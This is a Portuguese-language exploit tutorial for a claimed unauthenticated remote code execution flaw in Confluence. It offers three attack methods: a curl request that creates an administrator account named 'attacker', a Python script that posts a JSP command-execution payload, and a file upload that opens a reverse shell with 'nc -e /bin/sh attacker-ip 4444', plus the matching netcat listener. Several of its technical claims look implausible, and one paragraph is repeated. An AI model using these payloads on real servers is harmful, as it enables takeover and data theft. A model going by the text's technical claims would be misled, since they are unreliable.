
Esta vulnerabilidade permite que um atacante não autenticado execute remotamente código arbitrário em um servidor Confluence vulnerável. A vulnerabilidade existe devido a uma validação inadequada da entrada fornecida pelo usuário na API REST do Confluence. Isso permite que um atacante injete código malicioso no servidor Confluence, que pode então ser executado pelo servidor.
Esta vulnerabilidade permite que um atacante não autenticado execute código arbitrário remotamente em um servidor Confluence vulnerável. A vulnerabilidade existe devido a uma validação inadequada da entrada fornecida pelo usuário na API REST do Confluence. Isso permite que um atacante injete código malicioso no servidor Confluence, que pode então ser executado pelo servidor
Esta vulnerabilidade pode permitir que um atacante obtenha controle total de um servidor Confluence vulnerável. Isso pode permitir que o atacante roube dados, modifique dados ou interrompa a disponibilidade do servidor.
Mencionaremos mais de um método 1.
1. Identificando o endpoint vulnerável da API:
usaremos o seguinte endpoint da API:
POST /rest/api/user/bulk
Este endpoint permite que administradores criem novos usuários em massa.
2. Criando uma solicitação maliciosa:
Criaremos uma solicitação maliciosa que inclui um payload contendo código malicioso. Esse código criará um novo usuário com privilégios de administrador.
POST /rest/api/user/bulk HTTP/1.1
Host: confluence.example.com
Content-Type: application/json
{
"users": [
{
"name": "attacker",
"password": "password",
"email": "[email protected]",
"groups": [
{
"name": "confluence-administrators"
}
]
}
]
}
3. Enviando a solicitação ao servidor:
Usaremos a ferramenta cURL para enviar a solicitação ao servidor Confluence.
curl -X POST -H "Content-Type: application/json" -d '{"users": [{"name": "attacker", "password": "password", "email": "[email protected]", "groups": [{"name": "confluence-administrators"}]}]}' http://confluence.example.com/rest/api/user/bulk
4. Executando o código malicioso:
Se a solicitação for bem-sucedida, o servidor Confluence executará o código malicioso. Isso criará um novo usuário chamado "attacker" com privilégios de administrador. O atacante pode então usar essa conta para obter acesso ao servidor e ter controle total sobre ele.
2- Poc
import requests
url = "http://target-confluence-server.com/rest/api/content"
headers = {
"Content-Type": "application/json"
}
payload = {
"title": "Exploit RCE",
"type": "page",
"space": {
"key": "POC"
},
"body": {
"storage": {
"value": "<% Runtime.getRuntime().exec(\"calc.exe\"); %>",
"representation": "storage"
}
}
}
response = requests.post(url, json=payload, headers=headers)
if response.status_code == 200:
print("Exploit sent successfully!")
print("Response: ", response.text)
else:
print("Failed to send exploit.")
print("Status code: ", response.status_code)
print("Response: ", response.text)
3- Poc
POST /upload HTTP/1.1
Host: vulnerable-confluence-server.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 138
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.py"
Content-Type: text/x-python
import os
os.system("nc -e /bin/sh attacker-ip 4444")
------WebKitFormBoundary7MA4YWxkTrZu0gW--
Envie a solicitação modificada por meio do Burp Suite. Verifique a resposta para ver se o servidor executou o payload malicioso. Se a resposta for inesperada ou contiver erros indicando execução de código, então a vulnerabilidade foi detectada.
Se você estiver usando um payload para estabelecer um reverse shell, certifique-se de configurar a escuta na porta especificada em sua máquina local: nc -lvnp 4444. Se o servidor se conectar à sua máquina local, você receberá um reverse shell.